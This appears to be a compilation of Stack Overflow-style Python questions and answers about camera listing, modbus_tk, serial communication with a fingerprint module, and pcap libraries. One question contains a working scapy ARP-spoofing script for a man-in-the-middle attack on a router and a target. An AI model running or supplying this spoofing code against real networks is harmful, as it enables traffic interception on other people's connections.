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Converting code using wmi to code using ffmpy

I have the following code that prints out the names of USB cameras connected to my PC:
import wmi
c = wmi.WMI()
wql = "Select * From Win32_USBControllerDevice"
for item in c.query(wql):
a = item.Dependent.PNPClass
b = item.Dependent.Name.upper()
if (a.upper() == 'MEDIA' or a.upper() == 'CAMERA') and 'AUDIO' not in b:
print(item.Dependent.Name)
The problem with this code is that it only works in Windows. I want to alter this code so that it works on all operating systems. I know that I have to use something other than wmi, since wmi only works in Windows. So, I was thinking about using an ffmpeg wrapper called ffmpy. So maybe I could convert the code to use ffmpy? I got the code above from the following SO post: Associate USB Video Capture Device Friendly Name with OpenCV Port Number in Python. Any help would be much appreciated! Thanks!

You can give pygrabber a shot. "# This code lists the cameras connected to your PC:" (source)
from pygrabber.dshow_graph import FilterGraph
graph = FilterGraph()
print(graph.get_input_devices())
# ['Integrated Webcam', 'EpocCam Camera']

The answer to this question is no; there is no OS-independent way of getting the names of USB cameras connected to your PC. However, there is platform-specific code that can get the job done: https://stackoverflow.com/a/68402011/13386603

Python scapy - Error :No libpcap provider available

I am using scapy for a simple MITM attack script (I am using it for educational perposes only of course), and I got this strange error which says : WARNING: No libpcap provider available ! pcap won't be used. I tryied looking this error up online but no one realy answered it. What does this error mean? Is it possible that I am just not using the script correctly? Any help vould be appreciated.
Here is my script:
import scapy.all as scapy
def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
finalpacket = broadcast/arp_request
answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc
return(mac)
def restore(destination_ip, source_ip):
target_mac = get_target_mac(destination_ip)
source_mac = get_target_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
scapy.sendp(packet, verbose=False)
def spoof_arp(target_ip, spoofed_ip):
mac = get_target_mac(target_ip)
packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
scapy.sendp(packet, verbose=False)
def main():
try:
while True:
spoof_arp('router_ip', 'fake_ip')#I hided the real ip
spoof_arp('fake_ip', 'router_ip')
except KeyboardInterrupt:
restore('router_ip', 'fake_ip')
restore('fake_ip', 'router_ip')
exit(0)

I think that user16139739 give a possible solution. I got some problems with scapy, this being one of them, the stable has some know bugs which were corrected in the development version.
I did not install anything else, in my case perhaps I already used user16139739 solution before, but still get this error in some point and another with RawPcapReader, so I used the development version.

libpcap is a library for Unix, you need an alternate (npcap) or windows compatible counterpart (WinPcap)
I was able to remedy the problem by installing Nmap (Network Packet Manipulation Library for windows 10).

Can't connect to slave with Python's modbus_tk

I'm currently trying to develop an application that uses the Modbus-RTU protocol, and I have to use modbus_tk in Python 2.7.
I'm supposed to use bits of code from another application which is able to communicate with the micro-controller via modbus. It works on that app when I run the following code, but I get an error when I run the same lines in my app.
import modbus_tk
import modbus_tk.defines as cst
import modbus_tk.modbus_rtu as modbus_rtu
import serial
MB_Add_Status = 8 + 5001
def MB_GetStatus(MB_Master_handle):
try:
status = MB_Master_handle.execute(1, cst.READ_HOLDING_REGISTERS, MB_Add_Status, 1)
return status
except modbus_tk.modbus.ModbusError, e:
logger.error("%s- Code=%d" % (e, e.get_exception_code()))
MB_port = 3
masterMB = modbus_rtu.RtuMaster(serial.Serial(port='COM'+str(MB_port), baudrate=19200, bytesize=8, parity='N', stopbits=2, xonxoff=0))
status = MB_GetStatus(masterMB)
First I needed to delete the arguments baudrate, bytesize, etc. in the constructor call because it rose an error like :
TypeError: __init__() got an unexpected keyword argument 'stopbits'
But then when we get to the call to execute, there is an error again, which I couldn't solve yet :
modbus_tk.modbus.ModbusInvalidResponseError: Response length is invalid 0
The only documentation I found is: https://github.com/Nobatek/modbus-tk/tree/master/docs, but I couldn't quite understand much of it. If someone could first explain me what this error really means, and where I should look, this would be highly appreciated. Thank you very much !

The right repository for this library is https://github.com/ljean/modbus-tk
It requires PySerial 2.7

Found it !
I updated the library and set the parameters of the constructor correctly. This works fine know.

sending serial data to r305 biometric module interfacing with raspberry Pi using python 2.7

I had interfaced R305 biometric module with microcontrollers before using embedded C. But when I tried it using python, I am having error in sending hex array to it. Here is my code:
import serial
adrport = serial.Serial(port="/dev/tty0",baudrate=9600)
genimg = [0xEF,0x01,0xFF,0xFF,0xFF,0xFF,0x01,0x00,0x03,0x01,0x00,0x05]
also I tried it declaring like this:
genimg = "\xEF\x01\xFF\xFF\xFF\xFF\x01\x00\x03\x01\x00\x05"
I used to transfer the above mentioned array using the following function:
txd(genimg)
def txd(tx):
adrport.write(bytearray(tx))
Also I tried using
adrport.write(bytes(tx))
It doesnot show any errors to post the traceback, but the biometric module is not responding.
Okay, I changed the serail port to "/ttyAMA0" & now I can see the data flowing.But it also includes both "[,]" along with commas","; Can anybody help.?
Finally got the answer,defined array as
genimg = "\xEF\x01\xFF\xFF\xFF\xFF\x01\x00\x03\x01\x00\x05"
and used this.
adrport.write(bytes(tx))
Note: I tried this combination earlier also, but got loop iteration error because of using same name for both array and function. My bad,sorry everyone -;)

'module' object has no attribute 'pcapObject'

I have the following sample code which doesn't seem to want to run.
import pcap
pc = pcap.pcapObject()
dev = sys.argv[1]
pc.open_live(dev, 1600, 0, 100)
pc.setfilter("udp port 53", 0, 0)
while 1:
pc.dispatch(1, p.pcap_dispatch)
I'm really not sure why. I'm using pypcap. I'm running this on both 2.5.1 and 2.6 versions of python (separate machines) using mac osx (leopard).

At least according to documentation from the project this line:
pc = pcap.pcapObject()
Should really be:
pc = pcap.pcap()

There are two pcap libraries for Python:
pypcap
pylibpcap
Both of them are imported as:
import pcap
But the following code implies that pylibpcap is actually expected, instead of pypcap.
pcap.pcapObject()

I dont have python on this Computer, but when i look at the example, it should be
pc = pcap.pcap ()